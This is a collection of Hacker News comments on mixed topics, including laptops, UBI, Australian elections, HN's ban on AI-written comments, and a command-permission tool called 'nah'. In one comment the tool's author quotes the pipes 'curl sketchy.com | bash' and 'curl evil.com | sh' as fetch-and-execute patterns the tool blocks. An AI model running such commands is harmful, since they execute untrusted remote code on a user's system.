MurphyA/hacker-news huggingface dataset:
by schipperai | 2026-03-12 00:44:00+00:00
good question!

git checkout . on its own is classified as git_discard → ask.
git checkout (without the dot) as git_write → allow

For pipes, it applies composition rules - 'curl sketchy.com | bash' is specifically detected as 'network | exec' and blocked, even though each half might be fine on its own. Shell wrappers like bash -c 'curl evil.com | sh' get unwrapped too.

So git stash && git checkout main && git clean -fd — stash and checkout are fine (allow), but git clean is caught (ask). Even when buried in a longer chain, nah flags it.
by krinellenb | 2026-03-12 00:44:05+00:00
Interested in operations, program/project management, or generalist roles at early stage teams.

I help small teams actually execute their work. In my recent roles I built systems and workflow infrastructure that:
• increased program demand by 136%
• doubled monthly deliverables
• improved on time delivery by 54%
• increased service capacity by 200%

Background across healthcare, marketing, education, and nonprofit teams.

Not deeply technical, but comfortable working with technical teams and learning quickly.

Scrappy, resourceful, and confident I can become useful fast.

Location: Baltimore, Maryland
Remote: Yes; open to hybrid in Baltimore
Willing to relocate: Possibly, depends on location
Technologies: Apricot, Trello, Notion, Google Workspace
Résumé/CV: https://docs.google.com/document/d/1yf4NWzPJ-egrfHaneg8UfQle...
Email: (check resume)
Show HN: Bus Core 1.0.3 Local-first manufacturing system for small shops
by True-Good-Craft | 2026-03-12 00:44:32+00:00
I’ve been building BUS Core, a local-first manufacturing/workshop system aimed at small makers and shop-style operations.

Version 1.0.3 is out today.

This release focused on hardening and UI cleanup more than feature expansion. The goal is to make the software more trustworthy in day-to-day use, not just more featureful.

The general product thesis is that there’s a gap between spreadsheets and heavy SaaS/ERP for small operators who want control over their own data and workflows.

It’s local-first, practical, and intentionally boring in the parts that should be boring.

Happy to answer questions about:

architecture

local-first tradeoffs

workflow scope

how I’m handling the build/process side
by mwcz | 2026-03-12 00:44:48+00:00
Is it a mad dream to wish that was never gets DOM access, and instead there is invented a less memory-hungry dynamic representation of web pages that's usable only by wasm? Yeah, it's a mad dream. But it's also maddening that I can effortlessly open a 100 MB PDF but browser can barely handle a 10 MB html document.
by anigbrowl | 2026-03-12 00:46:17+00:00
So what? Pakistan got nukes and still has them. Despite decades of antipathy and ongoing conflicts over Kashmir they have managed to restrain themselves from firing one at India, or even saber-rattling.

The thing about nukes is that they massively disincentivize military attacks on your sovereignty. That strikes me as a perfectly legitimate reason to acquire them.
by eitally | 2026-03-12 00:48:16+00:00
This is how I ended up with my first MacBook in >10 years. I'd been a Thinkpad (T series) guy in the early days, the tried a MacBook in 2015... couldn't get used to it and used a Chromebook for the next 8 years. Needed to buy a new laptop in 2023 and ... the entire Windows laptop industry turned me off. Yes, something like System76 is an option, and so is installing Linux on a Windows OEM machine, but then you still have to deal with the hardware. Apple isn't perfect, but MacBooks are consistent and reliable, with minimal telemetry and no advertising or upselling. That's enough for me.
by silentsvn | 2026-03-12 00:48:31+00:00
> I’m sticking with humans for the moment
Haha totally get this statement.

The HitL fine-tuning angle is exactly right. The labeled dataset you're building (good/bad/stylistically-wrong memory events) is probably worth more than the compaction itself. Coherence preferences are surprisingly personal — what reads as "not correct based on my style" is hard to spec without examples.

The loop-pruning maps really cleanly to the contradiction detection in our setup. A model circling the same state N times is often because it stored an inconclusive result with the same confidence as a resolved one they look identical at recall time. Tagging memory entries with a status [open, resolved, or contradicted] before they go in cuts a lot of that.

On the autonomy question: we ended up treating certainty as continuous rather than binary. Low-certainty memories stay soft, high-certainty ones get promoted. Automatic compaction only operates on the low end, higher certainty entries are off-limits without explicit override. That lets you keep the autonomy without the coherence risk. The failure mode shifts from "deleted something important" to "kept something stale too long," which feels more recoverable.

Would be curious what your pruning signal looks like at the turn level — are you scoring relevance per-turn retroactively, or flagging at write time?
by rcxdude | 2026-03-12 00:48:54+00:00
Papers in any journal (even or especially Nature, depending on your prior) should have a significantly larger degree of skepticism shown towards them than statements in reputable textbooks (which also should not be taken as complete gospel). Papers are a 'hey, we did a thing once, here's what we think it means' from a source that is very strongly motivated to do or find something novel or interesting, even if you trust that there is no fraud they are not something to approach uncritically.
by technion | 2026-03-12 00:48:58+00:00
I feel like people have gotten used to holding phones pointing outwards in a way that only works on speakerphone.

Like I put a phone to my ear the way I have been for the last forty years and I feel like I'm old and out of touch for doing so, because I haven't seen anyone younger than me in years take a call and not just turn on speaker phone and hold the phone pointing outwards.
by AnthonyMouse | 2026-03-12 00:49:02+00:00
I feel like a lot of people have the impression of a UBI that it would mean no one would have paid jobs anymore. It's primary advantage is that it removes the perverse incentive of the existing needs-based assistance system to not work (or not work more) because if you do you lose your benefits. Which doesn't exist if the payment is unconditional rather than conditional on not making [more] money.

But the amount would be something in the nature of $12,000/year. Is that actually a disincentive to work that would cause no one to take a paid job anymore? Only if no one wants a lifestyle that costs more than $12,000/year.
by QGQBGdeZREunxLe | 2026-03-12 00:49:11+00:00
Noticed that converting between certain calendars is not supported. Was that choice intentional?

const today = Temporal.PlainDate.from("2569-03-11[u-ca=buddhist]");
today.toLocaleString("en", { calendar: "hebrew" });
> Uncaught RangeError: calendars "buddhist" and "hebrew" aren't compatible
by schipperai | 2026-03-12 00:49:22+00:00
nah already handles that: 'rm -rf __pycache__' inside your project is auto-allowed (filesystem_delete with context policy → checks if it's inside the project → allow). No config needed.

But you can customize everything via YAML or CLI if the defaults don't fit:

actions:
filesystem_delete: allow # allow all deletes everywhere

Or nah allow filesystem_delete from the CLI.

You can also add custom classifications, swap taxonomy profiles (full/minimal), or start from a blank slate. It's fully customizable.

Fair point on maintenance — the taxonomy will always be chasing new commands. That's partly why the optional LLM layer exists as a fallback for anything the classifier doesn't recognize.
by slopinthebag | 2026-03-12 00:49:39+00:00
> that thing has no IO and not even enough RAM for nowadays light web browsing.

You can literally open up every app (50+) on it and simultaneously edit 4k video without issues. It handles all of the pro apps really well. So it objectively can handle light web browsing just fine.

https://www.youtube.com/watch?v=d-VOt9559Gk
by Springtime | 2026-03-12 00:50:20+00:00
Your account posted dense, opinionated and structured paragraphs mere minutes apart—sometimes the same minute—for multiple story submissions. Even with my own sometimes lengthy replies this would be infeasible to both instantly have structured opinions and type them out in time. Two of your posts were posted the same minute, with a combined word count of 146.

It feels like it'd take someone superhuman to come across different stories, have such opinions and type and submit both of these in that timeframe or queuing up comments to post rapid-fire.

Conspicuously too, as another pointed out, is every single comment of yours uses an em dash, which despite occasionally using myself (hey look they're in this reply) is not in every single comment. Idk, if I was being seriously accused of botting I'd put more reasoning into my response about it.
by mempko | 2026-03-12 00:50:42+00:00
Senior engineers have been 'vibe coding' for over a decade before AI. Think what they do, they look at PRs all day and comment. Magically the code change reflecting their comments. It's the same thing now but machines are doing it, not humans. The issue is that junior engineers have no experience working like senior engineers. The reality is that it's not that hard to work in this way. There is no excuse for software companies not being able to re-train their more junior engineers to work this way.
by hbjkhgkytfkytv | 2026-03-12 00:50:52+00:00
The "no AI" rule finally being official feels like a necessary line in the sand.

The real issue isn't just "slop" or bot-spam; it's the cost of entry. HN works because of the "proof of work" behind a good comment. If I’m spending five minutes reading your take on a kernel patch or a startup pivot, I’m doing it because I assume a human actually sat down and thought about it.

When the cost of generating a response drops to zero, the value of the conversation follows it down. If the author didn't care enough to write it, why should I care enough to read it?

The "AI-edited" part of the rule is the trickiest bit, though. We’re reaching a point where the line between a sophisticated spell-checker and a generative "tone polisher" is non-existent. My worry isn't that the mods will ban bots—they've been doing that for years—it's that we'll start seeing "witch hunts" against anyone who writes a bit too formally or whose English is a little too perfect.

Ultimately, I’m glad it’s a rule. I don't come here to see what an LLM thinks; I can get that on my own localhost. I come here for the "graybeards" and the niche experts. If we lose the human friction, we lose the signal.
by bigger_cheese | 2026-03-12 00:51:10+00:00
The Australian parliament is weird but it kind of works.

Members of the House of Representatives ("lower house") are elected via preferential voting and each member represents a single electorate (there are 150 electorates), all of the electorates are roughly proportional population wise (there is an independent body that draws up the boundaries), however the geographical area covered by each electorate can vary greatly. For example in the State of New South Wales there are dozen of electorates covering the various suburbs of Sydney and one massively sized electorate covering a huge rural portion of the same state where population density is very low.

The Senate (Upper House) is fixed there are 12 members for every state and 1 member per territory. This means that Tasmania which is a fraction of the population of New South Wales has exactly the same number of Senators. There are about half a million people in Tasmania compares to 8 Million+ in NSW. So relatively speaking your upper house vote has way more power if you live in a smaller state.

The senate also uses transferable vote with a quota system. The quota system and "vote transfer" makes it a little weird and it is why minor candidates can percolate up and end up a senator despite relatively small primary vote.
by Muromec | 2026-03-12 00:51:59+00:00
I'm not supposed to vote for some other person too, but I could if spend some minimal amount of effort. The same applies to a birth certificate.

The document itself says that someone had a name listed there, or at least that the authorities who issued it believed so about 20 years ago. If anything, the voters roll itself is more reliable for that matter (somebody still believed the same facts more recently).

I mean, proof of possession is some level of assurance, which is better than nothing. Knowing my mothers maiden name and birth date is also some level of assurance (this of it, you don't know those about a random me in the internet, so you can't vote for me in the elections for the next 15 minutes at least). But what is a desired level of assurance for something so many people feel strongly about? Is it more or less compared to visiting porn websites, boarding a plane, drinking alcohol, crossing international border and driving a car on a public road?
by sally_glance | 2026-03-12 00:52:02+00:00
The amazing thing is that soon (actually already) we will be seeing people being paid way too much to prompt a LLM to email other people or respond to other peoples emails. And then turn these emails into presentations which will be turned into meeting transcripts again followed by emails.

The lingering question is if the intermediate LLM translation steps will actually make our communication more efficient - or just amplify the already inefficient parts.
by snowwrestler | 2026-03-12 00:52:04+00:00
To what extent is there still a “consumer PC industry?” You mention Dell; for like a decade I think I’ve only ever seen Dells that were company-issued.

My sense is that consumers spend most of their tech money on phones, tablets, headphones, watches, services. People who really want a laptop get a Mac or Chromebook. Gamers buy / build PCs, for gaming. Linux geeks buy Linux machines for Linuxing.

I’m not saying no one buys PC laptops at consumer retail. I guess I’m just wondering how big that market is anymore after consumer discretionary spending on tech has been hollowed out by the above list.

(I’m sure most people reading this have purchased a laptop. I think the HN audience is a tech outlier compared to most consumers.)
by acjohnson55 | 2026-03-12 00:52:07+00:00
I like the idea of smarter filtering. But I wonder how a modal interacts with automatic form filling.

I don't care for the chaotically ordered list of countries after the suggested country.

I think a better version would be nonmodal, but with a modal button to expose more powerful browsing.

I also question why we have to fill out so many forms in the first place. We should have better ways by now to get frequently used bundles of info to counterparties.
by comgen42 | 2026-03-12 00:52:10+00:00
Wrote this a while back — figured it was worth resurfaces since it's a bit different from typical dev content.
The short version: in 2012 I bought 5 acres of remote Alaskan land on a credit card while working as a software developer in Colorado. By 2014 my family had relocated permanently. I spent years building a cabin by hand while maintaining a full-time engineering career.
The piece is less technical, more about the mindset crossover between software and frontier living — patience, iteration, breaking impossible-seeming things into manageable steps. Happy to answer questions about the Alaska move, remote work, or the cabin build if anyone's curious.
by WarmWash | 2026-03-12 00:52:29+00:00
The problem with erasing biases is that you cannot look at any statistics. The internet and training set can be free of any form of -ism, and the models would still be expected to have biases. In fact it's something desirable, because statistical inferences are a valuable tool.

The AI won't care if some people get upset because it consistently recommends you get Mexican food instead of Italian when you're visiting south Texas. The weak link is humans not recognizing that that doesn't mean there cannot be good Italian food in south Texas. A logical hurdle I don't see AI having any problem with.
by Analemma_ | 2026-03-12 00:53:28+00:00
It is literally impossible to prove a negative, that’s how conspiracy thinking operates and it’s why fortunately the justice system operates on the opposite principle and requires proof of guilt.

It’s true that in some circumstances we require avoiding even the appearance of impropriety or a conflict of interest, but that’s simply too large a burden to impose on everyone all of the time, especially for allegedly dire sins like “having a roommate who works for a Google”
by jackschultz | 2026-03-12 00:53:36+00:00
Very much agree. Gave a presentation on AI to a group earlier this week and I spent a third of the time talking about the Opus 4.5 inflection point in AI history. First time using that model the day it was released it was so clear that it knew what it was doing at a different level. People still jump around to different models or tools or time frames when talking about AI and usefulness, but those have no meaning if they’re not using the Opus 4.5 and 4.6 models and anthropic harnesses of Claude code or cowork.

I’m interested in the studies along with the history of AI and if they’re going to realize that was the point when things changed, because for us devs, that was the moment.
by AnthonyMouse | 2026-03-12 00:53:55+00:00
> The gap between creating something useful (an app) and the ability to sell or market it is HUGE. That gap is the difference between useful or not.

Most of that gap is the difference between making it and selling it. To sell it you need payment processing, customer service now that customers are paying and expect you to resolve their billing problems etc., marketing sufficient to get enough initial users to cover development costs now that you're trying to turn a profit, accounting and tax remittance now that you're taking money, etc.

That stuff isn't required if you make it for yourself and then post it on the internet for anyone else to use for free.
by rendleflag | 2026-03-12 00:54:01+00:00
It can catch things that I might miss or might be misinterpreted. I sometime miss simple things, like like repeated words, that an AI point out. Is a spell checker considered "AI"? Is Grammerly? Okay, maybe Grammerly from 5 years ago as opposed to today? If I'm typing on my phone and it pops up the next suggested word, is that AI edited?

And no, I don't have to reply to a post, but when I think it's a bad policy, should I just accept it without discussion? And who determines the "experts/insiders" and which voices should be allowed?
by Manuel_D | 2026-03-12 00:54:17+00:00
For a first-round interview, it was not uncommon to have a leet-code style automated assignment as early as the mid 2010s. I recall more than a few highly regarded employers that did this in 2014.

Is an AI interview meaningfully different than one of these automated interview systems? A lot of people are assuming that there'd be a human interview absent this AI interview, but it could very easily just be another automated interview - just a less sophisticated one. A company using an AI interview where I'd normally see a Leet-code assignment (e.g a first round coding interview) would not strike me as a bad thing.

Of course if they wanted to the the entire interview loops with AI I'd stay away.
by hunterpayne | 2026-03-12 00:54:39+00:00
So by that thinking if I write some software, because I do that professionally, whatever bad outcome that software has then I am not responsible for it?

What if I make software that gives all the technical details for how to make a nuclear/chemical/bio weapon and I make that available in every language, I'm in the clear for the consequences? Seriously???

The software companies started this process. They were the ones who made each questionable decision along the way. Doesn't matter how they make their money, they are responsible for the consequences of those decisions.

PS Maybe check your grammar next time you post.
by bokohut | 2026-03-12 00:54:47+00:00
This share link has direct ties to my current technology designs I am developing but since the majority of systems work goes unseen many do not care as nearly all just want it to work when they need it. Design always changes over time yet many neglect to consider time within their moment of thought and thus those who fail to comprehend the long term need of such security changes. I have been fortunate to have lived and been involved in this change several times in my life and comparable too exactly this design change are the countless folks in the mid 1990's that told me no one would be buying things online as I architected and developed an online payments platform. After many decades of building secure technologies, some of which that has been acquired, this security critical technique addresses a growing problem that is impacting everyone, even those not yet connected.

What you cannot see matters most!
by tgma | 2026-03-12 00:55:32+00:00
> When I wrote last week that the MacBook Neo is the first product from Apple with an A-series chip sporting more than one USB port — addressing complaints that the Neo’s second USB-C port only supports USB 2.0 speeds — a few readers pointed to the Apple Silicon developer transition kits.

A12Z is really M0 (or you could say M1 is A14X or A14Z depending on GPU bin), so I would not characterize it as "(iPhone) A-series."
by bsimpson | 2026-03-12 00:55:37+00:00
This sounds like you're chastising me for something totally distinct from what I was supporting the request for clarity on.

I'm not asking or advocating for using AI as a copy editor.

The post I replied to asked about using Gemini as if it's Wikipedia - that is, saying "according to Gemini" when citing a fact where one might have once wrote "according to Wikipedia" or even "according to Google."

This is a forum people hang out in part-time. It's nobody's job to go spend an hour researching primary sources to post a comment. Shallow searches and citations are common and often helpful in pointing someone in the right direction. As AI becomes commonplace, a lot of that is being done with AI.

"Can I have AI write a reply for me?"

is a very different question than

"Can I cite an AI search result?"

This rule change is clear about the former. There's room to clarify the latter.
by moron4hire | 2026-03-12 00:55:47+00:00
I 100%, sincerely agree that "nothing at all" is really a great option compared to Jira. I actually hired a whole person onto my project to make them responsible for ticket tracking, telling them they could use whatever they wanted so long as I never had to look at Jira again. They used Jira for a while because it's what other people were pressuring them to use, but ultimately they started using MS Planner. MS Planner! I mean, Planner is garbage too, but at least it's not Jira.
by diacritical | 2026-03-12 00:55:51+00:00
I wouldn't pay anything to a company I'm applying to, but I would gladly send a small amount of money to a charity and show them the relevant bank or cryptocurrency proof if they explain why they need the micropayment. They could present me with a list of 10 or 10000 charities, I'd pick 1 and put "micropayment for applying to company X" in the comment of the payment.

That way I know I'm not giving money to some huge corporation and they know I think applying to their job should at least cost me Y amounts of currency.
by mhurron | 2026-03-12 00:55:59+00:00
Ya ok, unless you looked at it wrong, then it crashed.

OS 8 was a platinum theme over System 7. Which was a slightly better System 6, which wasn't significantly different than System 4.

System 7 was good for the time, OS 8 and 9 were not, and Apples inability to improve the OS were really starting to show. Windows 95 was a more stable OS than OS 8. Tahoe is better.